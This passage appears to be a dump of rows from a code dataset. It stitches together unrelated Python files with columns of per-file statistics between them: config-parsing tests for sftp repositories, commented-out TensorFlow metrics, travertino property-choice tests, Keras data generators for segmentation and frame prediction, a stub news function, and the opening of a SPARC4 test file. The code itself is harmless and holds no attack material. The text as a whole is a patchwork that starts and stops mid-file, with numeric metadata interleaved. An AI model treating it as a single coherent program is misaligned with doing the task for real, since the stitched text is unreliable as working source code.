repo = repos['/foo/bar']
assert repo.freeze_age == 180
def test_freeze_age_conf_small(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'freezable': True,
'freeze_age': 1
},
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_freeze_age_conf_big(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'freezable': True,
'freeze_age': 100000
},
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_chown_uid_conf(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'chown_uid': 4586,
},
}
repos = app.repos.do_read_conf(str(conf))
repo = repos['/foo/bar']
assert repo.chown_uid == 4586
def test_chown_uid_conf_too_big(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'chown_uid': 100000,
},
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
def test_chown_gid_conf(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'chown_gid': 4586,
},
}
repos = app.repos.do_read_conf(str(conf))
repo = repos['/foo/bar']
assert repo.chown_gid == 4586
def test_chown_gid_conf_too_big(self, app):
conf = {
'/foo/bar': {
'backend': 'sftp',
'url': 'host:google',
'user': 'someone',
'password': 'xxxxx',
'chown_gid': 100000,
},
}
with pytest.raises(ValueError):
app.repos.do_read_conf(str(conf))
| 26.677551
| 59
| 0.429927
| 602
| 6,536
| 4.481728
| 0.124585
| 0.044477
| 0.083024
| 0.106746
| 0.8106
| 0.766123
| 0.766123
| 0.744626
| 0.733506
| 0.709414
| 0
| 0.011312
| 0.431916
| 6,536
| 244
| 60
| 26.786885
| 0.715325
| 0
| 0
| 0.605911
| 0
| 0
| 0.173807
| 0
| 0
| 0
| 0
| 0
| 0.029557
| 1
| 0.073892
| false
| 0.078818
| 0.019704
| 0
| 0.098522
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
38e8d44b700808be45a53c8987a0c846ce930970
| 636
|
py
|
Python
|
utils/metrics.py
|
chansoopark98/CSNet-SOD
|
1d6a165feb6aea29100dd885c5a0d590523a850c
|
[
"MIT"
] | null | null | null |
utils/metrics.py
|
chansoopark98/CSNet-SOD
|
1d6a165feb6aea29100dd885c5a0d590523a850c
|
[
"MIT"
] | null | null | null |
utils/metrics.py
|
chansoopark98/CSNet-SOD
|
1d6a165feb6aea29100dd885c5a0d590523a850c
|
[
"MIT"
] | null | null | null |
import tensorflow as tf
# class MeanIOU(tf.keras.metrics.MeanIoU):
# def update_state(self, y_true, y_pred, sample_weight=None):
# # y_true = tf.squeeze(y_true, -1)
# y_pred = tf.nn.softmax(y_pred)
# y_true = tf.argmax(y_true, axis=-1)
#
# return super().update_state(y_true, y_pred, sample_weight)
# class Precision(tf.keras.metrics.Precision):
# def update_state(self, y_true, y_pred, sample_weight=None):
# # y_true = tf.squeeze(y_true, -1)
# y_pred = tf.nn.softmax(y_pred)
# y_true = tf.argmax(y_true, axis=-1)
#
# return super().update_state(y_true, y_pred)
| 37.411765
| 68
| 0.643082
| 100
| 636
| 3.82
| 0.27
| 0.157068
| 0.062827
| 0.104712
| 0.764398
| 0.764398
| 0.732984
| 0.732984
| 0.732984
| 0.732984
| 0
| 0.008
| 0.213836
| 636
| 17
| 69
| 37.411765
| 0.756
| 0.91195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
2a2027c28da276d06d1d3e7954b7f4f238ebb71c
| 9,772
|
py
|
Python
|
tests/test_choices.py
|
SamSchott/travertino
|
5fa1ee72facc977425bdd65a87852e4079f8d418
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_choices.py
|
SamSchott/travertino
|
5fa1ee72facc977425bdd65a87852e4079f8d418
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_choices.py
|
SamSchott/travertino
|
5fa1ee72facc977425bdd65a87852e4079f8d418
|
[
"BSD-3-Clause"
] | null | null | null |
from unittest import TestCase
from unittest.mock import Mock
from travertino.colors import NAMED_COLOR, rgb
from travertino.constants import TOP, GOLDENROD, REBECCAPURPLE
from travertino.declaration import Choices, BaseStyle
class PropertyChoiceTests(TestCase):
def assert_property(self, obj, value, check_mock=True):
self.assertEqual(obj.prop, value)
if check_mock:
obj.apply.assert_called_once_with('prop', value)
obj.apply.reset_mock()
def test_none(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(None), initial=None)
obj = MyObject()
self.assertIsNone(obj.prop)
with self.assertRaises(ValueError):
obj.prop = 10
with self.assertRaises(ValueError):
obj.prop = 3.14159
with self.assertRaises(ValueError):
obj.prop = REBECCAPURPLE
with self.assertRaises(ValueError):
obj.prop = '#112233'
with self.assertRaises(ValueError):
obj.prop = 'a'
with self.assertRaises(ValueError):
obj.prop = 'b'
obj.prop = None
self.assert_property(obj, None, check_mock=False)
obj.prop = 'none'
self.assert_property(obj, None, check_mock=False)
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; Valid values are: none"
)
def test_allow_string(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(string=True), initial='start')
obj = MyObject()
self.assertEqual(obj.prop, 'start')
with self.assertRaises(ValueError):
obj.prop = 10
with self.assertRaises(ValueError):
obj.prop = 3.14159
obj.prop = REBECCAPURPLE
self.assert_property(obj, 'rebeccapurple')
obj.prop = '#112233'
self.assert_property(obj, '#112233')
obj.prop = 'a'
self.assert_property(obj, 'a')
obj.prop = 'b'
self.assert_property(obj, 'b')
with self.assertRaises(ValueError):
obj.prop = None
obj.prop = 'none'
self.assert_property(obj, 'none')
# Check the error message
try:
obj.prop = 99
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value '99' for property 'prop'; Valid values are: <string>"
)
def test_allow_integer(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(integer=True), initial=0)
obj = MyObject()
self.assertEqual(obj.prop, 0)
obj.prop = 10
self.assert_property(obj, 10)
# This is an odd case; Python happily rounds floats to integers.
# It's more trouble than it's worth to correct this.
obj.prop = 3.14159
self.assert_property(obj, 3)
with self.assertRaises(ValueError):
obj.prop = REBECCAPURPLE
with self.assertRaises(ValueError):
obj.prop = '#112233'
with self.assertRaises(ValueError):
obj.prop = 'a'
with self.assertRaises(ValueError):
obj.prop = 'b'
with self.assertRaises(ValueError):
obj.prop = None
with self.assertRaises(ValueError):
obj.prop = 'none'
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; Valid values are: <integer>"
)
def test_allow_number(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(number=True), initial=0)
obj = MyObject()
self.assertEqual(obj.prop, 0)
obj.prop = 10
self.assert_property(obj, 10.0)
obj.prop = 3.14159
self.assert_property(obj, 3.14159)
with self.assertRaises(ValueError):
obj.prop = REBECCAPURPLE
with self.assertRaises(ValueError):
obj.prop = '#112233'
with self.assertRaises(ValueError):
obj.prop = 'a'
with self.assertRaises(ValueError):
obj.prop = 'b'
with self.assertRaises(ValueError):
obj.prop = None
with self.assertRaises(ValueError):
obj.prop = 'none'
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; Valid values are: <number>"
)
def test_allow_color(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(color=True), initial='goldenrod')
obj = MyObject()
self.assertEqual(obj.prop, NAMED_COLOR[GOLDENROD])
with self.assertRaises(ValueError):
obj.prop = 10
with self.assertRaises(ValueError):
obj.prop = 3.14159
obj.prop = REBECCAPURPLE
self.assert_property(obj, NAMED_COLOR[REBECCAPURPLE])
obj.prop = '#112233'
self.assert_property(obj, rgb(0x11, 0x22, 0x33))
with self.assertRaises(ValueError):
obj.prop = 'a'
with self.assertRaises(ValueError):
obj.prop = 'b'
with self.assertRaises(ValueError):
obj.prop = None
with self.assertRaises(ValueError):
obj.prop = 'none'
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; Valid values are: <color>"
)
def test_values(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices('a', 'b', None), initial='a')
obj = MyObject()
self.assertEqual(obj.prop, 'a')
with self.assertRaises(ValueError):
obj.prop = 10
with self.assertRaises(ValueError):
obj.prop = 3.14159
with self.assertRaises(ValueError):
obj.prop = REBECCAPURPLE
with self.assertRaises(ValueError):
obj.prop = '#112233'
obj.prop = None
self.assert_property(obj, None)
obj.prop = 'a'
self.assert_property(obj, 'a')
obj.prop = 'none'
self.assert_property(obj, None)
obj.prop = 'b'
self.assert_property(obj, 'b')
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; Valid values are: a, b, none"
)
def test_multiple_choices(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(
'a', 'b', None,
number=True, color=True
), initial=None)
obj = MyObject()
obj.prop = 10
self.assert_property(obj, 10.0)
obj.prop = 3.14159
self.assert_property(obj, 3.14159)
obj.prop = REBECCAPURPLE
self.assert_property(obj, NAMED_COLOR[REBECCAPURPLE])
obj.prop = '#112233'
self.assert_property(obj, rgb(0x11, 0x22, 0x33))
obj.prop = None
self.assert_property(obj, None)
obj.prop = 'a'
self.assert_property(obj, 'a')
obj.prop = 'none'
self.assert_property(obj, None)
obj.prop = 'b'
self.assert_property(obj, 'b')
# Check the error message
try:
obj.prop = 'invalid'
self.fail('Should raise ValueError')
except ValueError as v:
self.assertEqual(
str(v),
"Invalid value 'invalid' for property 'prop'; "
"Valid values are: a, b, none, <number>, <color>"
)
def test_string_symbol(self):
class MyObject(BaseStyle):
def __init__(self):
self.apply = Mock()
MyObject.validated_property('prop', choices=Choices(TOP, None), initial=None)
obj = MyObject()
# Set a symbolic value using the string value of the symbol
# We can't just use the string directly, though - that would
# get optimized by the compiler. So we create a string and
# transform it into the value we want.
val = 'TOP'
obj.prop = val.lower()
# Both equality and instance checking should work.
self.assertEqual(obj.prop, TOP)
self.assertIs(obj.prop, TOP)
| 28.656891
| 93
| 0.56273
| 1,055
| 9,772
| 5.125118
| 0.121327
| 0.094507
| 0.114666
| 0.171999
| 0.802663
| 0.793046
| 0.770668
| 0.770668
| 0.745515
| 0.72998
| 0
| 0.023256
| 0.335551
| 9,772
| 340
| 94
| 28.741176
| 0.809487
| 0.055362
| 0
| 0.755187
| 0
| 0
| 0.097548
| 0
| 0
| 0
| 0.002604
| 0
| 0.307054
| 1
| 0.070539
| false
| 0
| 0.020747
| 0
| 0.128631
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2a239e1073642f23d9eb4e1a7f342bfbe053c833
| 22,704
|
py
|
Python
|
modules/old/generators.py
|
jperezvisaires/tfg-intphys
|
8c32c383bf00c00b0fc627ba7bf1192bc3011c40
|
[
"MIT"
] | 1
|
2020-01-25T19:43:45.000Z
|
2020-01-25T19:43:45.000Z
|
modules/old/generators.py
|
jperezvisaires/tfg-intphys
|
8c32c383bf00c00b0fc627ba7bf1192bc3011c40
|
[
"MIT"
] | null | null | null |
modules/old/generators.py
|
jperezvisaires/tfg-intphys
|
8c32c383bf00c00b0fc627ba7bf1192bc3011c40
|
[
"MIT"
] | null | null | null |
import numpy as np
import h5py
from skimage.io import imread
from skimage.transform import rescale
import matplotlib.pyplot as plt
from tensorflow.keras.utils import Sequence, to_categorical
class SegmentationObjectDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
num_classes=1,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.num_classes = num_classes
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __mask_oneshot(self, mask_array):
oneshot_array = np.empty((mask_array.shape))
oneshot_array[mask_array == 3] = 1
oneshot_array[mask_array != 3] = 0
return oneshot_array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=0,
preserve_range=True,
multichannel=True,
anti_aliasing=False)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels))
Y = np.empty((self.batch_size, *self.dim, 1))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
X[i,] = f[sample][:]
# Store target
target = self.targets[sample]
Y[i,] = f[target][:]
X = self.__int_to_float(X, 8)
Y = self.__mask_oneshot(Y)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
class SegmentationOccluderDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
num_classes=1,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.num_classes = num_classes
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __mask_oneshot(self, mask_array):
oneshot_array = np.empty((mask_array.shape))
oneshot_array[mask_array == 4] = 1
oneshot_array[mask_array != 4] = 0
return oneshot_array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=0,
preserve_range=True,
multichannel=True,
anti_aliasing=False)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels))
Y = np.empty((self.batch_size, *self.dim, 1))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
X[i,] = f[sample][:]
# Store target
target = self.targets[sample]
Y[i,] = f[target][:]
X = self.__int_to_float(X, 8)
Y = self.__mask_oneshot(Y)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
class DepthDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=0,
preserve_range=True,
multichannel=True,
anti_aliasing=False)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels))
Y = np.empty((self.batch_size, *self.dim, 1))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
X[i,] = f[sample][:]
# Store target
target = self.targets[sample]
Y[i,] = f[target][:]
X = self.__int_to_float(X, 8)
Y = self.__int_to_float(Y, 16)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
class PredictionConvLSTMDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
input_frames=3,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.input_frames = input_frames
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __mask_oneshot_object(self, mask_array):
oneshot_array = np.empty((mask_array.shape))
oneshot_array[mask_array == 3] = 1
oneshot_array[mask_array != 3] = 0.5
return oneshot_array
def __mask_oneshot_occluder(self, mask_array):
oneshot_array = np.empty((mask_array.shape))
oneshot_array[mask_array == 4] = 1
oneshot_array[mask_array != 4] = 0
return oneshot_array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=1,
preserve_range=True,
multichannel=True,
anti_aliasing=False)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, self.input_frames, *(144, 144), self.num_channels))
Y = np.empty((self.batch_size, *(144, 144), self.num_channels))
Z = np.empty((self.batch_size, *(144, 144), self.num_channels * self.input_frames))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
array_list = []
for j in range(self.input_frames):
array_list.append(self.__rescale((f[sample[j]][:]/4)))
Z[i,] = np.concatenate(array_list, axis=-1)
X[i,] = np.reshape(Z[i,], (self.input_frames, *(144, 144), self.num_channels))
# Store target
target = self.targets[sample[0]]
Y[i,] = self.__rescale(f[target][:]/4)
return X, Y
class PredictionShortDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
memory_frames=3,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.memory_frames = memory_frames
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=1,
preserve_range=True,
multichannel=True,
anti_aliasing=True)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels * self.memory_frames))
Y = np.empty((self.batch_size, *self.dim, self.num_channels))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
array_list = []
for j in range(self.memory_frames):
array_list.append(f[sample[j]][:])
X[i,] = np.concatenate(array_list, axis=-1)
# Store target
target = self.targets[sample[0]]
Y[i,] = f[target][:]
X = self.__int_to_float(X, 8)
Y = self.__int_to_float(Y, 8)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
class PredictionLongDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
memory_frames=5,
batch_size=32,
dim=(288, 288),
scale=1,
num_channels=3,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.memory_frames = memory_frames
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=1,
preserve_range=True,
multichannel=True,
anti_aliasing=True)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels * self.memory_frames))
Y = np.empty((self.batch_size, *self.dim, self.num_channels))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
array_list = []
for j in range(self.memory_frames):
array_list.append(f[sample[j]][:])
X[i,] = np.concatenate(array_list, axis=-1)
# Store target
target = self.targets[sample[0]]
Y[i,] = f[target][:]
X = self.__int_to_float(X, 8)
Y = self.__int_to_float(Y, 8)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
class PredictionOpticDataGenerator(Sequence):
'Generates data for Keras fit training function'
def __init__(self,
list_samples,
targets,
path_hdf5,
memory_frames=5,
batch_size=10,
dim=(288, 288),
scale=1,
num_channels=3,
shuffle=True,
first=True):
'Initialization'
self.dim = dim
self.memory_frames = memory_frames
self.path_hdf5 = path_hdf5
self.scale = scale
self.batch_size = batch_size
self.targets = targets
self.list_samples = list_samples
self.num_channels = num_channels
self.shuffle = shuffle
self.first = first
self.on_epoch_end()
def __len__(self):
'Denotes the number of batches per epoch'
return int(np.floor(len(self.list_samples) / self.batch_size))
def __getitem__(self, index):
'Generate one batch of data'
# Generate indexes of the batch
indexes = self.indexes[index*self.batch_size:(index+1)*self.batch_size]
# Find list of samples
list_samples_temp = [self.list_samples[i] for i in indexes]
# Generate data
X, Y = self.__data_generation(list_samples_temp)
return X, Y
def on_epoch_end(self):
'Updates indexes after each epoch'
self.indexes = np.arange(len(self.list_samples))
if self.shuffle == True:
np.random.shuffle(self.indexes)
def __int_to_float(self, array, bits):
array = array.astype(np.float32) / (2**bits - 1)
return array
def __rescale(self, array):
if self.scale != 1:
array = rescale(image=array,
scale=self.scale,
order=1,
preserve_range=True,
multichannel=True,
anti_aliasing=True)
return array
def __data_generation(self, list_samples_temp):
'Generates data containing batch_size samples'
# Initialization
X = np.empty((self.batch_size, *self.dim, self.num_channels * self.memory_frames))
Y = np.empty((self.batch_size, *self.dim, self.num_channels + self.num_channels * self.memory_frames))
# Generate data
for i, sample in enumerate(list_samples_temp):
with h5py.File(self.path_hdf5, "r") as f:
# Store sample
array_list = []
for j in range(self.memory_frames):
array_list.append(f[sample[j]][:])
X[i,] = np.concatenate(array_list, axis=-1)
# Store target
target = self.targets[sample[0]]
array_list.append(f[target][:])
Y[i,] = np.concatenate(array_list, axis=-1)
X = self.__int_to_float(X, 8)
Y = self.__int_to_float(Y, 8)
X = self.__rescale(X)
Y = self.__rescale(Y)
return X, Y
| 30.393574
| 110
| 0.521362
| 2,506
| 22,704
| 4.484437
| 0.053073
| 0.068518
| 0.049742
| 0.021356
| 0.950347
| 0.950347
| 0.948478
| 0.948478
| 0.93869
| 0.933974
| 0
| 0.016454
| 0.392354
| 22,704
| 747
| 111
| 30.393574
| 0.79813
| 0.107162
| 0
| 0.932653
| 0
| 0
| 0.065245
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.108163
| false
| 0
| 0.012245
| 0
| 0.214286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2a2fb1a9adbab70c9a620eeec416b3f0c700913c
| 195
|
py
|
Python
|
raspberrypi/news.py
|
jbrucepayne/pitoys
|
49a60dd62f57e1bf5f463fa11dbf3a070ef152f1
|
[
"MIT"
] | null | null | null |
raspberrypi/news.py
|
jbrucepayne/pitoys
|
49a60dd62f57e1bf5f463fa11dbf3a070ef152f1
|
[
"MIT"
] | null | null | null |
raspberrypi/news.py
|
jbrucepayne/pitoys
|
49a60dd62f57e1bf5f463fa11dbf3a070ef152f1
|
[
"MIT"
] | null | null | null |
import sys
import subprocess
# TODO: Find and download better news source
def get_news():
return "Breaking News! Area man converts old rotary telephone to internet connected super-device!"
| 21.666667
| 101
| 0.779487
| 28
| 195
| 5.392857
| 0.892857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169231
| 195
| 8
| 102
| 24.375
| 0.932099
| 0.215385
| 0
| 0
| 0
| 0
| 0.604027
| 0
| 0
| 0
| 0
| 0.125
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
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| 0
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| 0
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| 0
| 0
| 1
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 9
|
aa604bc86acb932d35768ff1473532c004f68149
| 13,197
|
py
|
Python
|
AIS/tests/test_S4_SR_class.py
|
juliotux/AIS
|
6f75bbfd52a7b6684ad04002f9818b4d8e7d2c96
|
[
"MIT"
] | null | null | null |
AIS/tests/test_S4_SR_class.py
|
juliotux/AIS
|
6f75bbfd52a7b6684ad04002f9818b4d8e7d2c96
|
[
"MIT"
] | null | null | null |
AIS/tests/test_S4_SR_class.py
|
juliotux/AIS
|
6f75bbfd52a7b6684ad04002f9818b4d8e7d2c96
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""SPARC4 spectral response tests.
This script tests the operation of the SPARC4 spectral response classes.
"""
import os
import numpy as np
import pandas as pd
import pytest
from AIS.SPARC4_Spectral_Response import (
Abstract_SPARC4_Spectral_Response,
